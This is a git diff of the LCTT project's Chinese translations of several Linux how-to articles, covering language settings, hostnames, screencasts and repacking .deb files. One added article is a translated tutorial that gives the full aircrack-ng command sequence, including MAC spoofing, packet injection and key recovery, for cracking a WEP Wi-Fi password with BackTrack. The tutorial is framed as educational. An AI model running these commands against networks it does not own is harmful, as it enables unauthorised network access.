在安装语言包之后，你可以根据你的语言重命名标准文件夹，例如音乐、图片和文档。你必须注销系统然后重新登录来使变更生效。当你重新登录之后，你会看到一个弹窗并且询问你是否愿意重命名这些标准文件夹，从而使得文件名满足你的所选择的语言要求。
|
||||
|
||||
要想更改 Ubuntu 的使用语言，单击菜单栏右上角的 **gear**，并且选择 **System Settings**。在打开 System Settings 之后，选择 **Language Support**。
|
||||
|
||||
如果提示要你安装额外的语言支持，那就直接安装。如果没有，那么就单击 Install / Remove 去安装新的语言包，然后，选择你想安装的语言来安装。最后，拖动新的语言到列表的顶端并且保存。这些更改只会应用在你的个人帐号上。如果你想应用在全局范围内，单击 **Apply System-Wide** 。
|
||||
|
||||
|
||||
|
||||
拖动新的语言到列表的顶端。之后单击 Close。
|
||||
|
||||
|
||||
|
||||
关闭之后注销系统。然后重新登录，你就会看到更改生效了。
|
||||
|
||||
同样，语言包的更改只是应用在你的个人帐号上。如果你想全局更改的话，你必须单击 Apply System-Wide。
|
||||
|
||||
|
||||
|
||||
如果你选择了重命名标准文件夹，你必须重新登录才能看到变更。
|
||||
|
||||
好好享受吧！
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tipschange-the-language-you-use-in-ubuntu/
|
||||
|
||||
译者：[hyaocuk](https://github.com/hyaocuk) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,23 +0,0 @@
|
||||
用解释性用户友好的图标的创作设计故事加深你的创意知识
|
||||
================================================================================
|
||||
伴随着质量性、稳定性和灵活性，Ubuntu自带了一批富有经验的设计师，这些设计师覆盖了越来越多的Ubuntu的角落，因此压印进这个闪耀着光芒的系统中的漂亮区域、优化行为、小心实现的交互等。
|
||||
|
||||
**Ubuntu的设计师 Matthieu "Tiheum" James**,--Faenza和Faience的发明者--, 发布了一篇有趣的文章，（这篇文章）围绕着几个图标的发明展开。这篇有见地的文章使得感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
|
||||
|
||||
上面提到的最近在香港的OpenStack峰会上发布的图标是为Juju设计的，这个图标采用了一个有趣的特性，为了满足Ubuntu在香港峰会的参观者的需要，“**我们想**用比较特殊的一点的东西来代替正常的Juju图标，以向参观了Ubuntu站的人们解释说Juju可以做什么。我们决定使用的带配料和酱汁的冰淇淋的想法（来说明），你可以在同这个想法（用配料和酱汁调配出自己的冰淇淋）一样，建立Juju的服务。
|
||||
|
||||
这篇文章解释了在真实的图标创作过程中真实的心路历程，使读者沉浸在一个解释性同时易于掌握的旅程中，在旅程之中包括寻找好的概念，最初的草图，为图标添加角度，采用不同的设计方法，选择图标背景，精炼图标等。从本质上讲，一个易于阅读的设计故事。
|
||||
|
||||
|
||||
|
||||
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
|
||||
|
||||
译者：[crowner](https://github.com/crowner) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/
|
||||
@ -1,150 +0,0 @@
|
||||
Linux中如何显示和设置Hostname
|
||||
================================================================================
|
||||
|
||||
|
||||
随着原来越多的计算机连接上网络，计算机需要有一个属性来与其他计算机区别。如同在真实世界的人，计算机也有自己属性叫hostname（主机名称）
|
||||
|
||||
### 什么是hostname ###
|
||||
|
||||
从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname是依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。
|
||||
|
||||
|
||||
### 怎么显示hostname ###
|
||||
|
||||
hostname是为一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。
|
||||
|
||||
|
||||
$ hostname
|
||||
ubuntu
|
||||
|
||||
上面的命令将会告诉你，计算机的名字是**ubuntu** 。
|
||||
|
||||
|
||||
### 如何设置hostname ###
|
||||
|
||||
Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是在你安装你的Linux产品的那步时，将会询问你去填入主机名信息。然而，**你可以稍后填写它**如果你愿意。
|
||||
为了设置你的hostname，你可以使用下面的命令：
|
||||
|
||||
# hostname dev-machine
|
||||
|
||||
$ hostname
|
||||
dev-machine
|
||||
|
||||
你**需要使用root权限**或者同样的权限可以设置/改变你的hostname。#号提示你在使用root用户。上述命令告诉你的计算机设置你的hostname为**dev-machine**。如果你没有收到任何错误消息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。
|
||||
|
||||
使用hostname命令设置你的hostname**不是永久的**。当你重启你的计算机，你的设定将会取消。**为了永久改变**，你必须手动地修改hostname配置文件。
|
||||
|
||||
**On Debian / Ubuntu based Linux**
|
||||
**基于Linux 的 Debian / Ubuntu**
|
||||
|
||||
你可以在下列文件夹找到这个文件，
|
||||
**/etc/hostname**
|
||||
或者
|
||||
**/etc/hosts**
|
||||
|
||||
下面是每一个文件的内容
|
||||
|
||||
**/etc/hostname**
|
||||
|
||||
# vi /etc/hostname
|
||||
dev-machine
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
# vi /etc/hosts
|
||||
127.0.0.1 localhost
|
||||
127.0.0.1 dev-machine
|
||||
|
||||
你将会发现修改它会立即生效而不用重启你的linux。
|
||||
|
||||
**On RedHat / CentOS based Linux**
|
||||
**基于Linux的 RedHat / CentOS**
|
||||
|
||||
你可以在下列文件夹找到这个文件，
|
||||
**/etc/hosts**
|
||||
或者
|
||||
**/etc/sysconfig/networks**
|
||||
|
||||
下面是每一个文件的内容
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
|
||||
/etc/sysconfig/network
|
||||
|
||||
NETWORKING=yes
|
||||
NETWORKING_IPV6=no
|
||||
HOSTNAME=dev-machine
|
||||
|
||||
### 怎么显示DNS域名 ###
|
||||
|
||||
来自上面的hostname的定义，hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname，那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。
|
||||
|
||||
$ dnsdomainname
|
||||
bris.co.id
|
||||
|
||||
在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。
|
||||
|
||||
如果你看见结果是 (**none**),那么你的机器**没有配置完整合格的域名（FQDN（Fully Qualified Domain Name））**。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完整合格的域名格式。接下来一个简单的例子：
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
192.168.0.104 dev-machine.bris.co.id dev-machine
|
||||
|
||||
为了显示更多的细节，你可以使用参数**-v**
|
||||
|
||||
$ dnsdomainname -v
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
|
||||
### 如何显示hostname更多细节信息###
|
||||
|
||||
Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令。这里有一些参数是每日操作中有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
|
||||
|
||||
**显示IP地址**
|
||||
|
||||
$ hostname -i
|
||||
192.168.0.104
|
||||
|
||||
**显示域名**
|
||||
|
||||
$ hostname -d
|
||||
bris.co.id
|
||||
|
||||
**显示短主机名**
|
||||
$ hostname -s
|
||||
dev-machine
|
||||
|
||||
* 这个命令将会产生与输入hostname同样的结果 *
|
||||
|
||||
**显示FQDN格式**
|
||||
|
||||
$ hostname -f
|
||||
dev-machine.bris.co.id
|
||||
|
||||
**显示细节信息**
|
||||
|
||||
所有的参数包括上述信息，都可以通过使用参数**-v 和 -d** 来概括。让我们来看一个例子。
|
||||
|
||||
$ hostname -v -d
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
bris.co.id
|
||||
|
||||
感到熟悉？是的，这个结果与**dnsdomainname -v**命令是相同的，同样包含上面的内容。
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/display-set-hostname-linux/
|
||||
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,120 @@
|
||||
[翻译中]by stduolc
|
||||
如何使用BackTrack破解WIFI无线网络的WEP密钥
|
||||
================================================================================
|
||||
|
||||
|
||||
你可能已经知道如果你想要加锁自己的WIFI无线网络，你最好选择[WPA加密][3]方式，因为WEP加密很容易被人破解。但是，你知道有多么的容易么？下面我们来看看吧。
|
||||
|
||||
*注意：此帖是验证如何破解使用老的使用较少的WEP加密协议加密的密码。如果你希望破解的网络采用了更受欢迎的WPA加密，请看这篇[使用Reaver（掠夺者）破解WIFI的WPA加密指南][2].*
|
||||
|
||||
今天我们来看看如何一步一步的破解采用WEP加密方法加密的WIFI网络。但是，有言在先：知识是一种力量，但是力量并不意味着你应该成为一个混球或者做任何违法的事。知道[如何挑选一把锁具][3]并不会让你成为一个贼。请将此帖看成是教育性质或者概念验证性试验。
|
||||
|
||||
关于如何使用这个方案破解WEP加密的教程在互联网上有很多。认认真真的谷歌下。这个并不能被称作新闻。但是，让人惊讶的是如笔者一般的只有很少的网络经验的菜鸟，也可以使用一些免费的软件和廉价的WIFI适配器来完成这个做破解。下面就来看看吧！
|
||||
|
||||
### 你需要写什么 ###
|
||||
|
||||
|
||||
除非你是一个电脑网络安全的忍者，否则你不太可能具有完成实验的所有工具。一下是你需要的：
|
||||
|
||||
- **一个可兼容的无线适配器**.这是最主要的需求。你需要一个无线适配器，能用来完成包注入，你的电脑很可能不具备这个功能。在和我的安全专家邻居讨论了以后，我从亚马逊上花了50美元购买了一个Alfa AWUS050NH适配器，图片如下。更新：别学我，应该买[Alfa AWUS036H][4]而不是US050NH。[视频][5]里的哥们儿用$12美金在Ebay上买了一个解调器（同时可以选择把[自己的路由器][6]卖掉）.网上有很多可以[兼容aircrack的适配器][7].
|
||||
|
||||
- **[一个BackTrack Live CD][8]**. 我们已经提供了一个完整的[BackTrack 3的安装使用教程][9],Linux Live CD可以让你完成所有的安全测试和测试工作。请自行下载一个CD，然后刻录或者从VMware中启动它。
|
||||
|
||||
- **一个靠近的WEP加密的WIFI网络**. 信号需要足够的强，理想的情况下最好有用户正在使用、连接和断开设备。越多的人使用网络，你就可以的到更多的破解数据，这样你就更可能成功。
|
||||
|
||||
- **使用命令行的耐心**. 这里总共有10步，总共需要出入很长、很难懂的命令，然后等你的wifi网卡手机足够破解密码的数据。就像一个医生和一个急躁的病人说，有点耐心。
|
||||
|
||||
### 破解WEP ###
|
||||
|
||||
为了破解WEP，你需要启动一个Konsole，BackTrack内置的命令行。现在，就剩下命令了。
|
||||
|
||||
第一步，运行下面的命令，获得你网卡列表：
|
||||
|
||||
airmon-ng
|
||||
|
||||
笔者只看见了一个ra0的结果。你的可能不一样；记录下这些label（找个纸或者截图）。现在开始，更改替换掉命令中每一个包括(interface)的地方。
|
||||
|
||||
现在，运行下面的四个命令。看看截图里的输入结果。
|
||||
airmon-ng stop (interface)
|
||||
ifconfig (interface) down
|
||||
macchanger —mac 00:11:22:33:44:55 (interface)
|
||||
airmon-ng start (interface)
|
||||
|
||||
|
||||
|
||||
如果你没有获得截图一样的结果，最可能的情况就是你的无线网卡不能在特殊破解模式下工作。如果你成功了，你应该已经有效的在你的无线网卡上伪造了一个新的MAC地址，00:11:22:33:44:55.
|
||||
|
||||
现在，开始使用的你网络接口，运行：（译者注：interface在示范中就是ra0）
|
||||
airodump-ng (interface)
|
||||
|
||||
就可以看见你周围的wifi网络列表了。当你认准了你的目标后，按Ctrl+C结束列表。高亮你感兴趣的网络，同时记录下两样数据：它的BSSID和它的Channel(讯道,标签为CH的那列)，就像下面的截图。很明显你想要破解的网络需要是WEP加密的，而不是WPA或者其他加密方式。
|
||||
|
||||
|
||||
就像我说的，按Ctrl+C来终止列表。（我需要重复一两次来找到我需要的网络）一旦你找到了你需要破解的网络，高亮BSSID然后复制它到你的剪切板来为将要输入的命令做准备。
|
||||
|
||||
现在我们需要观察你选中的目标网络，并捕捉信息存入一个文件里，运行如下命令：
|
||||
airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface)
|
||||
|
||||
Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.
|
||||
其中，(channel),(bssid)就是你之前获取的那些信息。你可以使用Shift+Insert来将剪切板中的bssid信息粘贴到命令行中。随便给你的文件取个名字。我用的是“YoYo”，我破解的网络的名字。
|
||||
|
||||
|
||||
|
||||
你能够得到如截图中的窗口输出。就这么放着这个窗口。在前台新建一个konsole窗口，输入如下命令：
|
||||
|
||||
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
|
||||
|
||||
这里的ESSID是接入点SSID的名字，例如我的就是YoYo。你希望能在运行后得到“Association successful”的结果。
|
||||
|
||||
|
||||
|
||||
你如果到了这一步，现在是时候运行下面的命令了：
|
||||
|
||||
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
|
||||
|
||||
现在，我们创建了一个路由通路来更快的抓取数据，从而加快我们的破解过程。几分钟以后，前台的窗口会开始疯狂的读写数据包。（同时，我可以利用YoYo的网络在另一台机器上上网）这里，你可以喝杯Java牌儿咖啡，然后出去走走。一般来说，你需要收集到足够的数据后再运行你的破解程序。看着“#Data”列里的数据，你需要它在10，000以上。（图里的数据只有854）
|
||||
|
||||
这个过程可能需要一些时间，这取决于你的网络信号强度（截图中可以看到，我的信号强度低于-32DB，虽然YoYo的AP和我的适配器在同一间屋里）。等待直到包数据到达10K，因为在此之前破解过程不会成功。实际上，你可能需要超过10K，虽然他可能是大多数情况下都足够了。
|
||||
|
||||
|
||||
|
||||
一旦你收集了足够多的数据，就是见证奇迹的时刻了。启动第三个终端窗口，同时输入下面的命令来破解你收集到的数据：
|
||||
aircrack-ng -b (bssid) (file name-01.cap)
|
||||
|
||||
这里的filename就是你在上面输入的文件名。你可以在自己的Home目录下看到。他应该是一个.cap后缀名的文件。
|
||||
|
||||
如果你没有足够的数据，破解可能失败，aircrack会告诉你获得更多的数据后重新尝试。如果成功了，你会看到如图结果：
|
||||
|
||||
|
||||
WEP密钥会接着显示“KEY FOUND”。去掉引号，然后输入他就可以登录到目标网络了。
|
||||
|
||||
### 这个过程中的问题 ###
|
||||
|
||||
通过这篇文章，我们可以证明想要破解WEP加密的网络对于任何一个具有硬件和软件人来说是如此简单的过程。我仍然认为是这样的。但是不像下面视频里的伙计，这个过程中我遇到了很多的问题。实际上，你应该可以注意到最后一张截图和其他的不一样，因为它不是我的截图。虽然我破解的AP是我自己的AP，和我的Alfa在同一间屋子里，而且读取的信号强度一直在-30左右，但是数据的收集速度依然很缓慢，而在数据收集完成以前，BackTrack不能破解他。在尝试了各种方案（在我的MAC和PC上），我始终没能抓取到足够的数据量来破解密钥。
|
||||
|
||||
所以，这个过程在理论上是很简单的，实际上因为设备、到AP的距离却又因人而异.
|
||||
|
||||
可以去Youtube上看看视频，感受下这个伙计的实际操作。
|
||||
|
||||
[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10]
|
||||
|
||||
感受到一点使用BackTrack破解WEP加密的作用了么？你想说些什么呢？赶快换掉它把。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
|
||||
译者：[stduolc](https://github.com/stduolc) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network
|
||||
[2]:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
|
||||
[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key
|
||||
[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491
|
||||
[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8
|
||||
[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc
|
||||
[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools
|
||||
[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
|
||||
@ -1,95 +0,0 @@
|
||||
如何在Linux上制作一个YouTube屏幕录像视频教程
|
||||
================================================================================
|
||||
一幅画胜过一千句话，一个精心设计的指导视频几乎无价。Linux有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像，并学习如何在YouTube上分享精彩的屏幕录像。
|
||||
|
||||
一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。（是的，除了Youtube还有很多其他的免费视频共享服务，欢迎您来探索它们。）YouTube属于Google，因此Google试图诱导你与全世界共享任何人和事。如果这不是你想做的，请说no。
|
||||
|
||||
我们的工作流程是这样的：
|
||||
|
||||
- 用Kdenlive录制屏幕录像
|
||||
- 用Audacity录制音轨
|
||||
- 添加音轨到Kdenlive
|
||||
- 上传到YouTube
|
||||
- 全世界看你的视频，好开心
|
||||
|
||||
kdenlive支持最流行的数字视频格式，包括AVI，MP4，H.264，和MOV。它支持的图像文件，如GIF，PNG，SVG和TIFF；支持的音频文件格式，包括非压缩的PCM，Vorbis，WAV，MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之，它可以处理很多东西。
|
||||
|
||||
你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单，保持杂乱的题外话，方言，和去除背景噪声降到最低点。我喜欢用一个质量好的耳机做陈述，因为你不必担心话筒位置，你可以听你自己反复地诉说而不影响到你身边的人。
|
||||
|
||||
Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4，其实不需要Recordmydesktop。
|
||||
|
||||
|
||||
|
||||
*图 1：默认配置*
|
||||
|
||||
### 制作屏幕录像 ###
|
||||
|
||||
首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置，因为你随时都可以改变它们。这是我的屏幕录像的设置：高清720p每秒30帧，1280x720的屏幕尺寸。如何知道使用什么设置项？ [YouTube tells you][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps（图1），设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab（图2）。虽然你也可以选择捕捉全屏幕，但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加Pillarboxes来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕，而不是Pillarboxes。
|
||||
|
||||
|
||||
|
||||
*Figure 2: Screencast screen size.*图 2：屏幕录像的屏幕大小
|
||||
|
||||
默认的YouTube视频播放器的大小是640x360标清320p，又小又模糊。播放器控制着小屏，大屏，全屏，和多个质量等级。这些设置只有你的观众会使用，640x360标清320p看起来真的不咋样，但郁闷的是你无法改变这个缺陷。尽管如此，你仍然想制作高质量视频的话，你可以添加一些文字来提醒观众尝试更好的配置。
|
||||
|
||||
### 保存你的项目 ###
|
||||
|
||||
在你做任何其他事情之前，点击 File->Save as 保存您的项目，并记住周期性地保存它。
|
||||
|
||||
### 抓取屏幕 ###
|
||||
|
||||
抓屏小菜一碟。到Record Monitor，选择Screen Grab，然后点击Record按钮。屏幕上将打开一个带虚线的框，框里面的所有内容都将被录制下来。因此，你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮（图3）。
|
||||
|
||||
|
||||
|
||||
|
||||
*图 3：屏幕抓取*
|
||||
|
||||
单击Stop，自动打开Clip Monitor，你可以预览你的裁剪效果。如果你喜欢它，把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方；一个快速的方法是，你在Project Monitor里播放你的剪辑片，直到播放到你需要移除部分的末尾。然后暂停，然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断，按下Delete键，噗！它就消失了。
|
||||
|
||||
对于剩下的剪辑片断，可能你想要从时间轴上的某一点开始播放，也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错；右键点击你的剪辑片断，点击Add Effect > Fade > Fade from black 和 Fade to black，然后Kdenlive将自动将这两个效果放到开头和末尾。
|
||||
|
||||
### 添加配音 ###
|
||||
|
||||
请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础。以16bit的wav格式导出你的音频文件，然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频陈述的方式是边播视频边说。运气好的话，你不需要做很多的清理工作，你的评述就会与视频同步。
|
||||
|
||||
|
||||
|
||||
*图 4：用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙*
|
||||
|
||||
如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙。（图4）。
|
||||
|
||||
### Rendering Your Project ### 渲染你的项目
|
||||
|
||||
当你满意自己的编辑，并准备导出你的最终格式时，点击Render按钮。这需要几分钟的时间，取决于你的电脑速度和项目大小。网页已有预先设定的值，如果你选择File Rendering， 你可以调整你的设置（图5）。我用File Rendering中的H.264，Video比特率12000， Audio比特率384取得了不错的效果。H.264是一种超压缩格式，使用这种格式发布的文件小但质量好。
|
||||
|
||||
|
||||
|
||||
|
||||
*图 5：选择文件渲染，调整你的网页设置*
|
||||
|
||||
### YouTube Bound ###YouTube的装订
|
||||
|
||||
现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。以典型的Google风格，你的信息中心和视频管理器会混乱又复杂，不过请坚持到处瞅瞅，你会理出头绪的。在你做任何事情之前，你必须对你的账户做资格认证，也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后，你就能上传你的视频了。
|
||||
|
||||
|
||||
你可以上传你的视频，然后标记它们为私人可见或所有人可见。Google有一些编辑工具，你可能会喜欢，比如自动纠错和配背景音乐。不过以我的拙见，几乎没有人是这样子做背景音乐的，所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。
|
||||
|
||||
最有用的编辑工具是自动闭路字幕。我推荐在你所有的视频上使用此功能，不光是为了那些听觉障碍的人，也为了那些需要保持低音量观看的人，确保所有的人都明白你在说什么。字幕工具还创建一个副本。
|
||||
|
||||
另一个有用的工具是注释工具，它支持言语泡沫，标题，聚光灯和标签。当然，在Kdenlive中，这些你都可以做到，所以都可以尝试一下。
|
||||
|
||||
好吧，到这里就结束了，但似乎我们刚刚开始。请分享你的视频，并在评论中添加Youtube的小建议和技巧。如果可以的话，请在[video.linux.com][3]分享你的新的视频教程，并加入100个Linux教程活动。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
|
||||
|
||||
译者：[coolpigs](https://github.com/coolpigs) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
|
||||
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
|
||||
[3]:http://video.linux.com/100-linux-tutorials
|
||||
41
translated/How to Repack Deb Files on Debian and Ubuntu.md
Normal file
41
translated/How to Repack Deb Files on Debian and Ubuntu.md
Normal file
@ -0,0 +1,41 @@
|
||||
如何在Debian和Ubuntu下重新打包Deb文件
|
||||
================================================================================
|
||||
|
||||
**以下教程将会教导Ubuntu、Linux Mint和Debian GUN/Linux用户，如何在它们基于Debian的Linux操作系统上轻松的解压和重新打包.deb文件。**
|
||||
|
||||
|
||||
|
||||
有时候你在生活中会碰到这样的问题，你想要修改.deb文件的部分内容，然后重新打包。但是这也只有你真正进入到计算机世界以及黑客世界当中才能完成。
|
||||
|
||||
下面的例子是刚发生在我身上的真实经历。一位Linux开发者为一个软件构建了一个Debian包（.deb）,我也成功地将它安装在我的装载Ubuntu的电脑上。
|
||||
|
||||
当我试图从一个Git库中检索一些文件时，它总是卡顿，很显然，该软件并没有正常工作。我知道安装的文件在哪里（/opt目录），所以，我搜查了代码并适当地将部分问题修复。之后，当程序试图检索需要的包时不再卡顿。
|
||||
|
||||
所以，长话短说，我要将.deb文件解包，替换上我的补丁文件，然后再重新打包回来。这样我可以其它电脑上安装，或者将有效的包文件给我的朋友。我要怎么做呢？
|
||||
|
||||
在网络上搜索问题的答案，我发现一个名叫[ailoo.net][1]的小型博客，它给出类似这样解释：
|
||||
|
||||
mkdir -p extract/DEBIAN
|
||||
|
||||
dpkg-deb -x package.deb extract/
|
||||
|
||||
dpkg-deb -e package.deb extract/DEBIAN [...do something, e.g. edit the control file...]
|
||||
|
||||
mkdir build
|
||||
|
||||
dpkg-deb -b extract/ build/
|
||||
|
||||
这五条命令将奇迹般地完成工作。让我为你解释一下：第一条命令创建了一个名为“extract”文件夹和一个名为“DEBIAN”的子文件夹；第二条命令会从你的.deb包提取程序文件到“extract”文件夹；第三条命令会解压.deb包的控制文件到“DEBIAN”子文件夹，在那里你就可以 修改／补丁 你想要的文件；第四条命令建立一个名为“build”的文件夹；而第五条命令会将修改后的文件重新构建到一个新的.deb包中，并在 “build” 文件夹中生成。
|
||||
|
||||
这就是本次教程！牢牢地记住上面的命令吧，在你执行第三条命令后，可以通过你的默认文件管理器，用一个图形化的文本编辑器可视化地修改文件。如果你在学习本教程时遇到问题，不要犹豫，在下面给我们写下评论。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930.shtml
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://ailoo.net/2009/06/repack-a-deb-archive-with-dpkg-deb/
|
||||
|
||||
@ -0,0 +1,51 @@
|
||||
洞悉需求最高的三大IT技能组
|
||||
================================================================================
|
||||
|
||||
据[IT技能清单][1]调查报告结果显示，雇主所需的Linux人才应具备的IT技能可分成相对独立的组群。本文将着重介绍在上一个季度（2013年7月-9月）需求度最高的3组IT技能，这些技能在包括美国在内的被选国家招聘广告中都有所提及，同时结果表明这三组技能可以和Linux相关的工作领域需求相匹配。
|
||||
|
||||
报告指出在上一季度具有嵌入式开发人员相关技能的人才是Linux专业雇主亟需的一类。排在第二位和第三位涉及的技能领域分别对应虚拟化技术和LAMP管理。本文将基于这三类工作清单涉及到的技能需求加以讨论，并对分析后的三组技能间的依赖结构关系加以洞悉。
|
||||
|
||||
> 如果您尚未阅读[IT技能清单][1]，我们强烈建议您在阅读以下内容前先熟悉这篇文章。它详细阐明了本次研究中用到的方法，本文也是基于[IT技能清单][1]的材料才得以进一步分析。
|
||||
|
||||
### 2013年8月IT技能分类更新 ###
|
||||
|
